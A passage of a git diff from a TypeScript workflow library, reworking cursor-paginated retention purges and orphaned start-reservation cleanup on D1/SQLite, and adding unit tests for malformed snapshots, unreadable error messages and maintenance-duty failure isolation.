(schema.names.includes(table)) deleted += count; } } - await sweepOrphanedStartReservations(); - if (failures.length > 0) { - throw new Error( - `purgeExpiredWorkflowRuns: artifact deletion failed for ${failures.length} of ${rows.length} eligible run(s), the rest were purged (${failures - .map((failure) => `${failure.run}: ${failure.message}`) - .join('; ')})`, - ); + if (modern.length > 0) { + snapshotGroup(modern); + const ready: RetentionSelector[] = []; + for (const candidate of modern) + if (await artifacts(candidate[0], candidate[1])) ready.push(candidate); + if (ready.length > 0) { + const count = await execute(() => snapshotGroup(ready)); + if (schema.names.includes(table)) deleted += count; + } } - return deleted; - } + await advance('snapshots', page.position); + } else await advance('snapshots', undefined); - // Row-only path: LIMIT-batched like the artifact path, but against D1's - // per-QUERY budget rather than the subrequest cap (it stays one statement - // per firing whatever the batch size, hence the larger default). An - // unbounded DELETE over a huge first backlog can exceed the per-query - // limits and then fail the same way on EVERY firing — retention silently - // unenforced, the exact wedge the one-duty-per-alarm split exists to avoid. The - // shrinking eligible set is the cursor: a backlog drains across firings. - let deleted: number; - try { - if (batch) { - // D1 accepts at most 100 bound parameters per statement. Keep the exact - // rowid + owner-id transaction below under that limit even when a caller - // requests a larger generic purge batch. - const limit = Math.min(options.limit ?? 1000, 90); - const selected = await db - .prepare( - `SELECT rowid, run_id - FROM ${prefix}mastra_workflow_snapshot - WHERE ${eligible} - LIMIT ?`, + const classifyOrphans = async ( + raws: Record[], + ): Promise => { + const orphans: RetentionOrphan[] = []; + const grouped = new Map[]>(); + if (schema.stage === undefined) return orphans; + for (const raw of raws) { + try { + let row = reservationFromRow(raw, schema.stage); + if (row.state !== 'terminal' || row.updatedAt >= keyCutoff) continue; + if (row.binding.kind === 'legacy') { + orphans.push({ raw, observation: 'legacy' }); + continue; + } + row = admissionReservationFromRow(raw, schema.stage); + if ( + row.binding.kind !== 'bound' || + row.binding.execution.tablePrefix === null ) - .bind(cutoff, ...RUN_TERMINAL_STATUSES, limit) - .all<{ rowid: number; run_id: string }>(); - if (selected.results.length === 0) { - // No eligible run this pass, but reservations left behind by EARLIER - // passes still age out — so the orphan sweep runs before the return. - await sweepOrphanedStartReservations(); - return 0; + continue; + const namespace = `${row.binding.execution.tablePrefix}${RETENTION_SUFFIX}`; + if (!schema.names.includes(namespace)) { + orphans.push({ raw, namespace, observation: 'missing' }); + continue; + } + const values = grouped.get(namespace) ?? []; + values.push(raw); + grouped.set(namespace, values); + } catch { + reportUnsupported('reservation'); } - const rowIds = selected.results.map((row) => row.rowid); - const runIds = [...new Set(selected.results.map((row) => row.run_id))]; - const rowPlaceholders = rowIds.map(() => '?').join(', '); - const runPlaceholders = runIds.map(() => '?').join(', '); - const [result] = await runPurgeBatch((withReservations) => [ - db - .prepare( - `DELETE FROM ${prefix}mastra_workflow_snapshot - WHERE rowid IN (${rowPlaceholders}) AND ${eligible}`, - ) - .bind(...rowIds, cutoff, ...RUN_TERMINAL_STATUSES), - ...(resourceOwnerTable - ? [ - db - .prepare( - `DELETE FROM ${resourceOwnerTable} - WHERE resource_kind = 'run' - AND resource_id IN (${runPlaceholders}) - AND resource_id NOT IN ( - SELECT run_id FROM ${prefix}mastra_workflow_snapshot - )`, - ) - .bind(...runIds), - ] - : []), - ...(withReservations ? reservationStatements(runIds) : []), - ]); - deleted = d1Changes(result); - } else { - deleted = d1Changes( - await db - .prepare( - `DELETE FROM ${prefix}mastra_workflow_snapshot - WHERE rowid IN ( - SELECT rowid FROM ${prefix}mastra_workflow_snapshot - WHERE ${eligible} - LIMIT ? - )`, + } + for (const [namespace, values] of grouped) { + const selectors = retentionSelectorJson( + values.map((raw) => [raw.start_workflow_id, raw.run_id]), + ); + const rows = snapshotResultRows( + await prepareRetentionStatement( + captured, + retentionStatement( + `SELECT c.key AS candidate, s.rowid AS present, + json_extract(c.value,'$[0]') AS workflow_name, json_extract(c.value,'$[1]') AS run_id, ${retentionOwnedProjection()} + FROM json_each(?1) c LEFT JOIN "${namespace}" s ON s.workflow_name COLLATE BINARY=json_extract(c.value,'$[0]') + AND s.run_id COLLATE BINARY=json_extract(c.value,'$[1]') ORDER BY c.key`, + [selectors], + ), + ).all(), + ); + if (rows.length !== values.length) + throw new Error('run retention orphan observation is malformed'); + for (const [index, row] of rows.entries()) { + if (row.candidate !== index || !Object.hasOwn(row, 'present')) + throw new Error('run retention orphan observation is malformed'); + const raw = values[index]; + if (!raw) throw new Error('run retention orphan candidate is missing'); + if ( + row.workflow_name !== raw.start_workflow_id || + row.run_id !== raw.run_id + ) + throw new Error('run retention orphan address is malformed'); + if ( + row.present !== null && + (typeof row.present !== 'number' || + !Number.isSafeInteger(row.present)) + ) + throw new Error('run retention orphan rowid is malformed'); + const decoded = decodeRunRetentionCandidate( + row, + namespace.slice(0, -RETENTION_SUFFIX.length), + ); + if (row.present === null) { + orphans.push({ raw, namespace, observation: 'absent' }); + continue; + } + if (decoded === undefined) reportUnsupported('orphan-snapshot'); + if ( + decoded && + decoded !== 'legacy' && + typeof decoded[2][1] === 'string' && + JSON.parse(decoded[2][1]) !== raw.start_token + ) + orphans.push({ raw, namespace, observation: decoded[2] }); + } + } + return orphans; + }; + if (schema.stage !== undefined && registry !== undefined) { + const page = decodeRetentionPage( + await prepareRetentionStatement( + captured, + retentionPageStatement( + registry, + cursor?.reservations, + limit, + retentionReservationProjection(schema.stage), + ), + ).all(), + cursor?.reservations, + limit, + ); + const raws: Record[] = []; + for (const row of page.rows) { + const raw = decodeRetentionReservationProjection(row, schema.stage); + if (raw === undefined) { + reportUnsupported('reservation'); + continue; + } + raws.push(raw); + } + const candidates = await classifyOrphans(raws); + for (const initial of retentionOrphanPackets(candidates)) { + let pending = initial; + const retry = async () => { + if (schema.stage === undefined) { + pending = []; + return; + } + const keys = retentionSelectorJson( + initial.map((candidate) => candidate.raw.key), + ); + const rows = snapshotResultRows( + await prepareRetentionStatement( + captured, + retentionStatement( + `SELECT ${retentionReservationProjection(schema.stage)} + FROM "${registry}" s WHERE s.key COLLATE BINARY IN (SELECT value FROM json_each(?1)) LIMIT ?2`, + [keys, limit + 1], + ), + ).all(), + ); + if (rows.length > initial.length) + throw new Error('run retention orphan retry is ambiguous'); + const unchanged: Record[] = []; + for (const row of rows) { + const raw = decodeRetentionReservationProjection(row, schema.stage); + if (raw === undefined) { + reportUnsupported('reservation'); + continue; + } + const prior = initial.find( + (candidate) => candidate.raw.key === raw.key, + )?.raw; + if ( + prior && + Object.entries(prior).every( + ([key, value]) => Object.hasOwn(raw, key) && raw[key] === value, + ) && + Object.entries(raw).every( + ([key, value]) => Object.hasOwn(prior, key) || value === null, + ) ) - .bind(cutoff, ...RUN_TERMINAL_STATUSES, options.limit ?? 1000) - .run(), + unchanged.push(raw); + } + pending = await classifyOrphans(unchanged); + }; + await execute( + () => [ + retentionStatement( + `${RETENTION_SCHEMA_SQL} SELECT ok AS schema_ok FROM schema_ok`, + [...schema.bindings], + ), + ...retentionOrphanPackets(pending).flatMap((packet) => + retentionOrphanGroup(schema, packet, keyCutoff).slice(1), + ), + ], + retry, ); } - } catch (error) { - if (!isMissingTable(error, `${prefix}mastra_workflow_snapshot`)) - throw error; - return 0; - } - await sweepOrphanedStartReservations(); + await advance('reservations', page.position); + } else await advance('reservations', undefined); + if (failures.length > 0) + throw new Error( + `purgeExpiredWorkflowRuns: artifact deletion failed (${failures.join('; ')})`, + ); return deleted; } @@ -1387,7 +2160,11 @@ export function d1Changes(result: unknown): number { } function errorMessageOf(error: unknown): string { - return error instanceof Error ? error.message : String(error); + try { + return String(error instanceof Error ? error.message : error); + } catch { + return 'unreadable error'; + } } /** diff --git a/packages/flowsafe/src/do-runner/index.ts b/packages/flowsafe/src/do-runner/index.ts index 6b72182f..ec098865 100644 --- a/packages/flowsafe/src/do-runner/index.ts +++ b/packages/flowsafe/src/do-runner/index.ts @@ -24,6 +24,8 @@ export type { RunArtifactPurger, RunDeadlineCandidate, RunDeadlineCursor, + RunRetentionCursor, + RunRetentionScanPosition, SnapshotDatabase, SnapshotStatement, SweepExpiredRunDeadlinesOptions, diff --git a/packages/flowsafe/src/do-runner/inventory.test.ts b/packages/flowsafe/src/do-runner/inventory.test.ts index 13b716fd..fd029f1b 100644 --- a/packages/flowsafe/src/do-runner/inventory.test.ts +++ b/packages/flowsafe/src/do-runner/inventory.test.ts @@ -583,7 +583,7 @@ describe('deployment drain inventory', () => { // means on the same deployment. const { sqlite, inventory } = await seeded(); const iso = new Date(NOW).toISOString(); - const snapshot = (cleanup: string | null): string => + const snapshot = (cleanup: number | null): string => JSON.stringify({ status: 'timed_out', requestContext: { @@ -606,7 +606,7 @@ describe('deployment drain inventory', () => { (workflow_name, run_id, resourceId, snapshot, createdAt, updatedAt) VALUES (?, ?, NULL, ?, ?, ?)`, ) - .run('gated', 'abc_cleaned', snapshot(iso), iso, iso); + .run('gated', 'abc_cleaned', snapshot(NOW), iso, iso); // #when const runs = await inventory.read('runs'); @@ -618,6 +618,69 @@ describe('deployment drain inventory', () => { ]); }); + it.each([ + ['status', '{"status":"success","status":"running"}'], + ['escaped status', '{"status":"success","sta\\u0074us":"running"}'], + [ + 'requestContext', + '{"status":"cancelled","requestContext":{"flowsafe.runLifecycle":{"terminal":{"cleanupCompletedAt":1}}},"requestContext":{}}', + ], + [ + 'flowsafe.runLifecycle', + '{"status":"cancelled","requestContext":{"flowsafe.runLifecycle":{"terminal":{"cleanupCompletedAt":1}},"flowsafe.runLifecycle":{}}}', + ], + [ + 'terminal', + '{"status":"cancelled","requestContext":{"flowsafe.runLifecycle":{"terminal":{"cleanupCompletedAt":1},"terminal":{}}}}', + ], + [ + 'cleanupCompletedAt', + '{"status":"cancelled","requestContext":{"flowsafe.runLifecycle":{"terminal":{"cleanupCompletedAt":1,"cleanupCompletedAt":null}}}}', + ], + ])('counts a duplicate eligibility path %s as live work', async (_path, snapshot) => { + const { sqlite, inventory } = await seeded(); + const update = sqlite.prepare( + 'UPDATE mastra_workflow_snapshot SET snapshot=? WHERE workflow_name=? AND run_id=?', + ); + update.run(snapshot, 'gated', 'abc_r1'); + const runs = await inventory.read('runs'); + expect(runs.entries.map((entry) => entry.key[1])).toEqual(['abc_r1']); + update.run('{"status":"success"}', 'gated', 'abc_r1'); + expect((await inventory.read('runs')).entries).toEqual([]); + }); + + it.each([ + ['null', false], + ['false', false], + ['true', false], + ['"done"', false], + ['{}', false], + ['[]', false], + ['-1', false], + ['0.5', false], + ['9007199254740992', false], + ['1e309', false], + ['-1e309', false], + ['0', true], + ['1.0', true], + ['1e0', true], + ['9007199254740991', true], + ] as const)('classifies cleanup timestamp %s in the public run inventory', async (marker, complete) => { + const { sqlite, inventory } = await seeded(); + sqlite + .prepare( + 'UPDATE mastra_workflow_snapshot SET snapshot=? WHERE workflow_name=? AND run_id=?', + ) + .run( + `{"status":"timed_out","requestContext":{"flowsafe.runLifecycle":{"terminal":{"cleanupCompletedAt":${marker}}}}}`, + 'gated', + 'abc_r1', + ); + expect( + (await inventory.read('runs')).entries.map((entry) => entry.key[1]), + ).toEqual(complete ? [] : ['abc_r1']); + }); + it('reads a table that was never created as an EMPTY category, not a fault', async () => { // #given — a database with nothing in it at all: the state of a deployment // provisioned and never used. Every table here is created lazily by the diff --git a/packages/flowsafe/src/host-kit/approval-bridge.test.ts b/packages/flowsafe/src/host-kit/approval-bridge.test.ts index 117d347f..1b60d5c2 100644 --- a/packages/flowsafe/src/host-kit/approval-bridge.test.ts +++ b/packages/flowsafe/src/host-kit/approval-bridge.test.ts @@ -1,11 +1,4 @@ // SPDX-License-Identifier: Apache-2.0 -// Unit coverage for the host-kit approval bridge: the payload-shape edge cases -// of requestedConnectors, the (suspendedAt, resumeCount) capture in -// queueApprovalForSuspension, the multi-gate re-queue + fail-closed guard in -// resumeRunWithRequeue (plus its audit signal on a re-queue failure), and the -// self-healing reconcileApprovalsForSummary. These are the -// pieces the showcase Worker and dev backend both depend on, so they get -// direct tests independent of any workflow. import { describe, expect, it } from 'vitest'; @@ -45,6 +38,34 @@ const REVIEWER: ApprovalActor = { role: 'reviewer', }; +const filingFailures = [ + { + name: 'ordinary Error', + create: () => new Error('store unavailable'), + diagnostic: 'store unavailable', + }, + { + name: 'throwing message getter', + create: () => + Object.defineProperty(new Error(), 'message', { + get() { + throw new Error('message getter failed'); + }, + }), + diagnostic: 'unreadable error', + }, + { + name: 'BigInt message', + create: () => Object.defineProperty(new Error(), 'message', { value: 1n }), + diagnostic: '1', + }, + { + name: 'null-prototype rejection', + create: () => Object.create(null), + diagnostic: 'unreadable error', + }, +]; + describe('abandonApprovalsForRun', () => { it('closes open approvals as stable system bookkeeping and a later decision cannot resume', async () => { const store = new InMemoryApprovalStore(); @@ -423,6 +444,34 @@ function suspendedSummary( } describe('queueApprovalForSuspension', () => { + it.each( + filingFailures, + )('files sibling gates after a failure with $name', async ({ + create, + diagnostic, + }) => { + const store = new InMemoryApprovalStore(); + const originalCreate = store.create.bind(store); + store.create = async (record) => { + if (record.stepPath?.[0] === 'gateA') throw create(); + return originalCreate(record); + }; + const service = new ApprovalService({ store, executionFence: 'none' }); + const summary: RunSummary = { + runId: 'acme_run-partial', + status: 'suspended', + suspended: [['gateA'], ['gateB']], + suspendedAt: { gateA: 111, gateB: 222 }, + }; + + await expect( + queueApprovalForSuspension(service, 'wf', summary, 'starter', SYSTEM), + ).rejects.toThrow(`gateA: ${diagnostic}`); + + const open = await store.list({ status: 'pending' }); + expect(open.map(({ stepPath }) => stepPath)).toEqual([['gateB']]); + }); + it('persists tool-call scope when an agent payload also carries connectors', async () => { const store = new InMemoryApprovalStore(); const service = new ApprovalService({ store, executionFence: 'none' }); @@ -588,6 +637,55 @@ describe('queueApprovalForSuspension', () => { }); describe('resumeRunWithRequeue', () => { + it.each( + filingFailures, + )('audits a service lookup failure with $name and preserves the original rejection', async ({ + create, + diagnostic, + }) => { + const store = new InMemoryApprovalStore(); + const service = new ApprovalService({ store, executionFence: 'none' }); + const { record } = await service.createAsPrincipal( + { + workflowId: 'wf', + runId: 'acme_run-lookup', + title: 'approval', + requestedBy: 'starter', + requestedByKind: 'human', + }, + SYSTEM_PRINCIPAL, + ); + const decided = await service.decide( + record.id, + { decision: 'approve' }, + REVIEWER, + ); + const original = create(); + const events: ApprovalAuditEvent[] = []; + const base: ResumeRunFn = async () => + suspendedSummary(record.runId, 'gate2', ['c'], 9); + const wrapped = resumeRunWithRequeue( + base, + () => { + throw original; + }, + SYSTEM, + (event) => { + events.push(event); + }, + ); + + await expect(wrapped(decided.record, 'approve')).rejects.toBe(original); + expect(events).toEqual([ + expect.objectContaining({ + action: 'approval.requeue', + decision: 'error', + reason: diagnostic, + resource: `approval:${record.id}`, + }), + ]); + }); + it('re-queues the next gate attributed to the decider (SoD across gates)', async () => { // #given — a service whose base resume re-suspends the run at a 2nd gate const store = new InMemoryApprovalStore(); diff --git a/packages/flowsafe/src/host-kit/approval-bridge.ts b/packages/flowsafe/src/host-kit/approval-bridge.ts index 6b73e7b7..15943cfd 100644 --- a/packages/flowsafe/src/host-kit/approval-bridge.ts +++ b/packages/flowsafe/src/host-kit/approval-bridge.ts @@ -1,9 +1,4 @@ // SPDX-License-Identifier: Apache-2.0 -// Host-agnostic approval bridge: the glue that turns a workflow suspension into -// an approval request and re-queues the next gate on a multi-gate run. Promoted -// out of gtm-app/worker.ts so every host (the showcase Worker, the dev backend) -// shares one implementation instead of re-deriving the (suspendedAt, resumeCount) -// capture and the SoD-across-gates re-queue. import { agentGateGrantRequest } from '../agent-runner/approval-shapes.js'; import { @@ -25,6 +20,14 @@ import { } from '../approval-api/index.js'; import type { RunSummary } from '../do-runner/index.js'; +function errorMessage(error: unknown): string { + try { + return String(error instanceof Error ? error.message : error); + } catch { + return 'unreadable error'; + } +} + /** * Resumes a run after a decision. The showcase Worker fetches the run's DO stub; * an in-process host uses resumeViaRuntime(runtime). Either way it returns the @@ -192,7 +195,7 @@ export async function queueApprovalForSuspension( // decision's re-queue re-files any gate still missing. failures.push({ stepKey, - message: error instanceof Error ? error.message : String(error), + message: errorMessage(error), }); } } @@ -279,7 +282,7 @@ export function resumeRunWithRequeue( action: 'approval.requeue', resource: `approval:${record.id}`, decision: 'error', - reason: error instanceof Error ? error.message : String(error), + reason: errorMessage(error), detail: { workflowId: record.workflowId, runId: record.runId, diff --git a/packages/flowsafe/src/host-kit/flowsafe-worker.test.ts b/packages/flowsafe/src/host-kit/flowsafe-worker.test.ts index e596c0c0..2c179b54 100644 --- a/packages/flowsafe/src/host-kit/flowsafe-worker.test.ts +++ b/packages/flowsafe/src/host-kit/flowsafe-worker.test.ts @@ -1,12 +1,4 @@ // SPDX-License-Identifier: Apache-2.0 -// Unit proof for the composed Worker skeleton: the fetch pipeline order, the -// hook seams (preRoutes/beforeStart/beforeResume/notify/extra -// duties), and failure-isolated deadline, sweep, purge, and optional schedule -// tick dispatch. The HEAVYWEIGHT behavior proof stays the two host e2e suites -// (deploy/worker.e2e.test.ts and the showcase worker e2e set), which drive -// the real hosts through this same composer — this file covers the composer's -// own contract over fakes: node:sqlite behind a narrow SQL unit facade, a stub DO -// namespace, and a static verifier. import { afterEach, describe, expect, it, vi } from 'vitest'; @@ -21,6 +13,7 @@ import { FlowsafeFleetAuditProxy, } from '../audit-export/index.js'; import { + DeploymentIdentityError, EXECUTION_PRINCIPAL_HEADER, executionFenceFor, InvalidMutationEpochError, @@ -34,6 +27,7 @@ import { type FlowsafeWorkerConfig, type FlowsafeWorkerEnv, MAINTENANCE_INSTANCE_NAME, + type MaintenanceDutyContext, type MaintenanceHealth, } from './flowsafe-worker.js'; import { approvalStoreFactoryFor } from './host-approval-service.js'; @@ -170,6 +164,15 @@ function makeWorker( }); } +function retentionContext(): MaintenanceDutyContext { + const context: MaintenanceDutyContext = { + advanceRetentionCursor: async (cursor) => { + context.retentionCursor = structuredClone(cursor); + }, + }; + return context; +} + function cWorkerDeferred() { let release!: () => void; const promise = new Promise((resolve) => { @@ -385,6 +388,91 @@ describe('C Worker epoch capture', () => { expect(prepare).not.toHaveBeenCalled(); await h.flush(); }); + + it.each([ + { + name: 'throwing message getter', + failure: () => + Object.defineProperty(new Error(), 'message', { + get() { + throw new Error('message getter failed'); + }, + }), + diagnostic: 'unreadable error', + }, + { + name: 'BigInt message', + failure: () => + Object.defineProperty(new Error(), 'message', { value: 1n }), + diagnostic: '1', + }, + { + name: 'null-prototype rejection', + failure: () => Object.create(null), + diagnostic: 'unreadable error', + }, + ])('contains a callback failure with $name while logging the failure', async ({ + failure, + diagnostic, + }) => { + const logs = capturedLogs(); + const h = makeEnv(); + const response = await makeWorker({ + mutationEpoch: () => { + throw failure(); + }, + }).fetch(authed('http://host/healthz'), h.env, h.ctx); + + expect(response.status).toBe(500); + expect(await response.json()).toEqual({ error: 'internal error' }); + expect(logs.errors().map((line) => JSON.parse(line))).toContainEqual({ + type: 'worker-fetch-error', + reason: diagnostic, + }); + await h.flush(); + }); + + it.each([ + { + name: 'throwing message getter', + descriptor: { + get() { + throw new Error('message getter failed'); + }, + }, + diagnostic: 'unreadable error', + }, + { + name: 'BigInt message', + descriptor: { value: 1n }, + diagnostic: '1', + }, + ])('contains deployment identity failures with $name', async ({ + descriptor, + diagnostic, + }) => { + const logs = capturedLogs(); + const h = makeEnv(); + const failure = Object.defineProperty( + new DeploymentIdentityError('unavailable'), + 'message', + descriptor, + ); + + const response = await makeWorker({ + mutationEpoch: () => { + throw failure; + }, + }).fetch(authed('http://host/healthz'), h.env, h.ctx); + + expect(response.status).toBe(503); + expect(await response.json()).toEqual({ error: 'deployment unavailable' }); + expect(logs.errors().map((line) => JSON.parse(line))).toContainEqual({ + type: 'deployment-identity-error', + reason: diagnostic, + }); + await h.flush(); + }); }); function authed(url: string, init: RequestInit = {}): Request { @@ -1093,7 +1181,8 @@ describe('createFlowsafeWorker maintenance duties', () => { resourceId TEXT, snapshot TEXT NOT NULL, createdAt TEXT NOT NULL, - updatedAt TEXT NOT NULL + updatedAt TEXT NOT NULL, + UNIQUE(workflow_name, run_id) )`, ) .run(); @@ -1261,7 +1350,7 @@ describe('createFlowsafeWorker maintenance duties', () => { const { env } = makeEnv(); // #when - await worker.runMaintenanceDuty('purge', env); + await worker.runMaintenanceDuty('purge', env, retentionContext()); // #then const lines = maintenanceLines(logs.lines()); @@ -1270,6 +1359,258 @@ describe('createFlowsafeWorker maintenance duties', () => { expect(lines[0]).not.toHaveProperty('escalated'); }); + it.each([ + undefined, + null, + false, + ])('refuses a missing or non-callable retention callback before factories and schema work: %j', async (advanceRetentionCursor) => { + const logs = capturedLogs(); + const artifactStore = vi.fn(() => ({ deleteRun: async () => 0 })); + const extraPurgeDuties = vi.fn(async () => ({ extraDuty: 'ran' })); + const worker = makeWorker({ artifactStore, extraPurgeDuties }); + const { env } = makeEnv(); + await seedIdleThread(env); + + const outcome = await worker.runMaintenanceDuty( + 'purge', + { + ...env, + THREAD_RETENTION_DAYS: '30', + }, + advanceRetentionCursor === undefined + ? undefined + : ({ advanceRetentionCursor } as unknown as MaintenanceDutyContext), + ); + + expect(outcome).toEqual({ + ok: false, + error: expect.stringContaining('advanceRetentionCursor'), + }); + expect(artifactStore).not.toHaveBeenCalled(); + expect(extraPurgeDuties).toHaveBeenCalledOnce(); + expect(await threadIds(env)).toEqual([]); + expect(maintenanceLines(logs.lines())[0]).toMatchObject({ + approvalsPurged: 0, + threadsPurged: 1, + extraDuty: 'ran', + }); + expect( + await env.DB.prepare( + "SELECT name FROM sqlite_schema WHERE name = 'flowsafe_resource_owners'", + ).all(), + ).toMatchObject({ results: [] }); + }); + + it.each([ + undefined, + null, + false, + {}, + ])('requires a callable batch for retention without changing the optional environment contract: %j', async (batch) => { + const logs = capturedLogs(); + const artifactStore = vi.fn(() => ({ deleteRun: async () => 0 })); + const extraPurgeDuties = vi.fn(async () => ({ extraDuty: 'ran' })); + const worker = makeWorker({ artifactStore, extraPurgeDuties }); + const { env } = makeEnv(); + const dbWithoutBatch: FlowsafeWorkerEnv['DB'] = { + prepare: env.DB.prepare.bind(env.DB), + }; + env.DB = + batch === undefined + ? dbWithoutBatch + : ({ ...dbWithoutBatch, batch } as FlowsafeWorkerEnv['DB']); + const context = retentionContext(); + + const outcome = await worker.runMaintenanceDuty('purge', env, context); + + expect(outcome).toEqual({ + ok: false, + error: expect.stringContaining('database.prepare() and batch()'), + }); + expect(context.retentionCursor).toBeUndefined(); + expect(artifactStore).not.toHaveBeenCalled(); + expect(extraPurgeDuties).toHaveBeenCalledOnce(); + expect(maintenanceLines(logs.lines())[0]).toMatchObject({ + approvalsPurged: 0, + extraDuty: 'ran', + }); + expect( + await env.DB.prepare( + "SELECT name FROM sqlite_schema WHERE name = 'flowsafe_resource_owners'", + ).all(), + ).toMatchObject({ results: [] }); + expect(await worker.runMaintenanceDuty('sweep', env)).toMatchObject({ + ok: true, + }); + }); + + it('uses captured DB receivers and cursor values when the artifact factory changes their source', async () => { + capturedLogs(); + const { env } = makeEnv(); + const realDb = env.DB; + await realDb + .prepare(`CREATE TABLE mastra_workflow_snapshot ( + workflow_name TEXT NOT NULL, run_id TEXT NOT NULL, resourceId TEXT, + snapshot TEXT NOT NULL, createdAt TEXT NOT NULL, updatedAt TEXT NOT NULL, + UNIQUE(workflow_name, run_id) + )`) + .run(); + const old = new Date(Date.now() - 90 * 86_400_000).toISOString(); + for (const runId of ['already-scanned', 'eligible']) { + await realDb + .prepare(`INSERT INTO mastra_workflow_snapshot + VALUES ('wf', ?, NULL, ?, ?, ?)`) + .bind( + runId, + JSON.stringify({ + status: 'success', + requestContext: { + 'flowsafe.runProvenance': { + version: 2, + startToken: `start-${runId}`, + }, + }, + }), + old, + old, + ) + .run(); + } + const context = retentionContext(); + const input = { + version: 1 as const, + tablePrefix: '', + startIdempotencyTable: 'flowsafe_start_idempotency', + snapshots: { afterRowId: 1, highWaterRowId: 2 }, + }; + context.retentionCursor = input; + let batchCalls = 0; + const batch = realDb.batch?.bind(realDb); + if (!batch) throw new Error('SQLite fixture requires batch'); + const receiverDb: FlowsafeWorkerEnv['DB'] = { + prepare(query) { + expect(this).toBe(receiverDb); + return realDb.prepare(query); + }, + async batch(statements) { + expect(this).toBe(receiverDb); + batchCalls += 1; + return batch(statements); + }, + }; + env.DB = receiverDb; + const artifactCalls: string[] = []; + const worker = makeWorker({ + artifactStore: () => { + receiverDb.prepare = (query) => { + if ( + query.includes('mastra_workflow_snapshot') || + query.includes('flowsafe_resource_owners') + ) { + throw new Error('replacement prepare'); + } + return realDb.prepare(query); + }; + receiverDb.batch = async () => { + throw new Error('replacement batch'); + }; + input.snapshots.afterRowId = 0; + context.advanceRetentionCursor = async () => { + throw new Error('replacement callback'); + }; + return { + deleteRun: async (_workflowId, runId) => { + artifactCalls.push(runId); + return 0; + }, + }; + }, + }); + + const outcome = await worker.runMaintenanceDuty('purge', env, context); + + expect(outcome).toMatchObject({ ok: true }); + expect(batchCalls).toBeGreaterThan(0); + expect(artifactCalls).toEqual(['eligible']); + expect( + await realDb.prepare('SELECT run_id FROM mastra_workflow_snapshot').all(), + ).toMatchObject({ + results: [{ run_id: 'already-scanned' }], + }); + expect(context.retentionCursor).toEqual({ + version: 1, + tablePrefix: '', + startIdempotencyTable: 'flowsafe_start_idempotency', + }); + }); + + it('contains an unprintable persistence rejection without starving sibling purges', async () => { + const logs = capturedLogs(); + const extraPurgeDuties = vi.fn(async () => ({ extraDuty: 'ran' })); + const worker = makeWorker({ extraPurgeDuties }); + const { env } = makeEnv(); + await seedIdleThread(env); + + const outcome = await worker.runMaintenanceDuty( + 'purge', + { + ...env, + THREAD_RETENTION_DAYS: '30', + }, + { + advanceRetentionCursor: async () => { + throw Object.create(null); + }, + }, + ); + + expect(outcome).toEqual({ + ok: false, + error: expect.stringContaining('retention-purge'), + }); + expect(extraPurgeDuties).toHaveBeenCalledOnce(); + expect(await threadIds(env)).toEqual([]); + expect(maintenanceLines(logs.lines())[0]).toMatchObject({ + approvalsPurged: 0, + threadsPurged: 1, + extraDuty: 'ran', + }); + }); + + it('contains an unprintable approval rejection without starving sibling purges', async () => { + const logs = capturedLogs(); + const extraPurgeDuties = vi.fn(async () => ({ extraDuty: 'ran' })); + const worker = makeWorker({ extraPurgeDuties }); + const { env } = makeEnv(); + await seedIdleThread(env); + vi.spyOn( + approvalStoreFactoryFor(env.DB).store(), + 'purgeExpired', + ).mockRejectedValue(Object.create(null)); + + const outcome = await worker.runMaintenanceDuty( + 'purge', + { + ...env, + THREAD_RETENTION_DAYS: '30', + }, + retentionContext(), + ); + + expect(outcome).toEqual({ + ok: false, + error: expect.stringContaining( + 'approval-retention-purge: unreadable error', + ), + }); + expect(extraPurgeDuties).toHaveBeenCalledOnce(); + expect(await threadIds(env)).toEqual([]); + expect(maintenanceLines(logs.lines())[0]).toMatchObject({ + threadsPurged: 1, + extraDuty: 'ran', + }); + }); + it('isolates purge-duty failures: a broken snapshot purge stops neither the approval purge nor extra duties', async () => { // #given — DB whose snapshot-table statements THROW (not merely missing) const logs = capturedLogs(); @@ -1289,7 +1630,11 @@ describe('createFlowsafeWorker maintenance duties', () => { }); // #when - await worker.runMaintenanceDuty('purge', { ...env, DB: throwingDb }); + await worker.runMaintenanceDuty( + 'purge', + { ...env, DB: throwingDb }, + retentionContext(), + ); // #then — the failure is on record and the OTHER duties still folded // into the one combined maintenance line @@ -1308,11 +1653,6 @@ describe('createFlowsafeWorker maintenance duties', () => { expect(lines[0]?.purged).toBeUndefined(); }); - // The agent-memory thread TTL (docs/agent-memory-isolation.md#thread-retention) as the - // purge alarm's third duty. Seeds the two memory tables the real - // @mastra/cloudflare-d1 schema creates (mastra-schema-guard.test.ts pins the - // column names); a fresh test DB has neither, which is itself the - // memory-less-deployment case the first test below rides. async function seedIdleThread(env: FlowsafeWorkerEnv): Promise { await env.DB.prepare( 'CREATE TABLE mastra_threads (id TEXT PRIMARY KEY, updatedAt TEXT NOT NULL)', @@ -1349,7 +1689,7 @@ describe('createFlowsafeWorker maintenance duties', () => { await seedIdleThread(env); // #when - await worker.runMaintenanceDuty('purge', env); + await worker.runMaintenanceDuty('purge', env, retentionContext()); // #then — the duty never ran: nothing in the log, nothing deleted const lines = maintenanceLines(logs.lines()); @@ -1365,10 +1705,14 @@ describe('createFlowsafeWorker maintenance duties', () => { await seedIdleThread(env); // #when - await worker.runMaintenanceDuty('purge', { - ...env, - THREAD_RETENTION_DAYS: '30', - }); + await worker.runMaintenanceDuty( + 'purge', + { + ...env, + THREAD_RETENTION_DAYS: '30', + }, + retentionContext(), + ); // #then — reaped WITH its messages, reported in the combined line const lines = maintenanceLines(logs.lines()); @@ -1380,7 +1724,6 @@ describe('createFlowsafeWorker maintenance duties', () => { }); }); - // Background-task TTL cleanup as the purge alarm's opt-in duty. async function seedOldCompletedTask(env: FlowsafeWorkerEnv): Promise { await env.DB.prepare( `CREATE TABLE mastra_background_tasks ( @@ -1403,7 +1746,7 @@ describe('createFlowsafeWorker maintenance duties', () => { await seedOldCompletedTask(env); // #when - await worker.runMaintenanceDuty('purge', env); + await worker.runMaintenanceDuty('purge', env, retentionContext()); // #then — the duty never ran when the feature was absent const lines = maintenanceLines(logs.lines()); @@ -1419,7 +1762,7 @@ describe('createFlowsafeWorker maintenance duties', () => { await seedOldCompletedTask(env); // #when - await worker.runMaintenanceDuty('purge', env); + await worker.runMaintenanceDuty('purge', env, retentionContext()); // #then — reaped, reported in the combined maintenance line const lines = maintenanceLines(logs.lines()); @@ -1470,9 +1813,6 @@ describe('createFlowsafeWorker maintenance duties', () => { }); it('isolates a THROWING thread purge: neither the snapshot purge, the approval purge, nor extra duties are starved', async () => { - // #given — a DB whose mastra_threads statements THROW (not merely missing). - // Isolating one duty while a sibling shares 